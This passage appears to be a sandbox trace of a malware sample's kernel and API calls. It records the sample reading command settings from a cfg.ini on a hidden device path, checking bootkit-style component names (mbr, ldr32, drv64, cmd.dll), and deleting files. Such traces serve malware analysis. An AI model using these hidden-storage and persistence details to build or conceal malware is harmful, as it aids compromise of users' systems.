[0118.703] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.703] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.703] KeEnterCriticalRegion () [0118.703] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.703] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.703] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.703] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.703] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.703] IdePortDispatch () returned 0x103 [0118.703] KeWaitForMutexObject () returned 0x0 [0118.703] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.703] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.703] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.703] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.703] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.703] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ba0130 [0118.703] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.703] KeLeaveCriticalRegion () [0118.703] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.704] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.704] KeEnterCriticalRegion () [0118.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.704] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.704] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.704] KeLeaveCriticalRegion () [0118.704] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.704] KeEnterCriticalRegion () [0118.704] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.704] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.704] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.704] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.704] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.704] IdePortDispatch () returned 0x103 [0118.704] KeWaitForMutexObject () returned 0x0 [0118.704] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.704] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.704] KeLeaveCriticalRegion () [0118.704] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.704] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.704] KeEnterCriticalRegion () [0118.705] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.705] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c14000 [0118.705] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.705] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.705] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.705] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.705] IdePortDispatch () returned 0x103 [0118.705] KeWaitForMutexObject () returned 0x0 [0118.705] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.705] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.705] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.705] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.705] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.705] IdePortDispatch () returned 0x103 [0118.705] KeWaitForMutexObject () returned 0x0 [0118.705] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.705] KeLeaveCriticalRegion () [0118.705] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.706] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.706] KeEnterCriticalRegion () [0118.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.706] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.706] KeLeaveCriticalRegion () [0118.706] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.706] KeEnterCriticalRegion () [0118.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.706] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.706] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.706] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.706] KeLeaveCriticalRegion () [0118.706] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.706] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.706] KeEnterCriticalRegion () [0118.706] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.707] ExFreePoolWithTag (P=0xfffffa8003ba0130, Tag=0x0) [0118.707] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.707] KeLeaveCriticalRegion () [0118.707] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.707] ReleaseMutex (hMutex=0xf0) returned 1 [0118.707] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0118.707] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0118.707] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0118.707] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.707] KeEnterCriticalRegion () [0118.707] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.707] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.707] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.707] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.707] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.707] IdePortDispatch () returned 0x103 [0118.707] KeWaitForMutexObject () returned 0x0 [0118.707] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.707] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.707] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.707] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.707] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.707] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.708] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.708] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.708] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.708] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.708] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.708] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.708] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.708] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.708] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.708] KeLeaveCriticalRegion () [0118.708] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.708] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.708] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.708] KeEnterCriticalRegion () [0118.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.708] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.708] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.708] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.708] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.708] IdePortDispatch () returned 0x103 [0118.708] KeWaitForMutexObject () returned 0x0 [0118.708] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.708] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.709] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.709] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.709] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.709] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.709] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.709] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.709] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.709] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.709] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.709] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.709] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.709] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.709] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.709] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.709] KeLeaveCriticalRegion () [0118.709] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.709] ReleaseMutex (hMutex=0x100) returned 1 [0118.709] Sleep (dwMilliseconds=0x2bf20) [0118.717] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69f4b790, dwHighDateTime=0x1d24fa4)) [0118.717] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.717] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.718] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.718] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.718] KeEnterCriticalRegion () [0118.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.718] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.718] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.718] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.718] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.718] IdePortDispatch () returned 0x103 [0118.718] KeWaitForMutexObject () returned 0x0 [0118.718] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.718] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.718] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.718] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.718] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.718] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca200 [0118.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.718] KeLeaveCriticalRegion () [0118.718] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.718] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.718] KeEnterCriticalRegion () [0118.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.718] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.718] KeLeaveCriticalRegion () [0118.719] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.719] KeEnterCriticalRegion () [0118.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.719] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.719] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.719] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.719] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.719] IdePortDispatch () returned 0x103 [0118.719] KeWaitForMutexObject () returned 0x0 [0118.719] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.719] KeLeaveCriticalRegion () [0118.719] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.719] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.719] KeEnterCriticalRegion () [0118.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.719] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c17000 [0118.719] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.719] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.719] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.719] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.719] IdePortDispatch () returned 0x103 [0118.720] KeWaitForMutexObject () returned 0x0 [0118.720] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.720] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.720] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.720] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.720] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.720] IdePortDispatch () returned 0x103 [0118.720] KeWaitForMutexObject () returned 0x0 [0118.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.720] KeLeaveCriticalRegion () [0118.720] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.721] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.721] KeEnterCriticalRegion () [0118.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.721] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.721] KeLeaveCriticalRegion () [0118.721] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.721] KeEnterCriticalRegion () [0118.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.721] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.721] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bca070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.721] KeLeaveCriticalRegion () [0118.721] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.721] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.721] KeEnterCriticalRegion () [0118.721] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.721] ExFreePoolWithTag (P=0xfffffa8003bca200, Tag=0x0) [0118.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.721] KeLeaveCriticalRegion () [0118.721] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.721] ReleaseMutex (hMutex=0xf0) returned 1 [0118.721] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.722] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.722] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.722] KeEnterCriticalRegion () [0118.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.722] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.722] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.722] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.722] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.722] IdePortDispatch () returned 0x103 [0118.722] KeWaitForMutexObject () returned 0x0 [0118.722] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.722] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.722] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.722] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.722] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.722] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ba0130 [0118.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.722] KeLeaveCriticalRegion () [0118.722] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.722] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.722] KeEnterCriticalRegion () [0118.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.722] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.722] KeLeaveCriticalRegion () [0118.723] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.723] KeEnterCriticalRegion () [0118.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.723] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.723] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.723] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.723] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.723] IdePortDispatch () returned 0x103 [0118.723] KeWaitForMutexObject () returned 0x0 [0118.723] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.724] KeLeaveCriticalRegion () [0118.724] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.724] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.724] KeEnterCriticalRegion () [0118.724] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.724] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c18000 [0118.724] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.724] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.724] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: 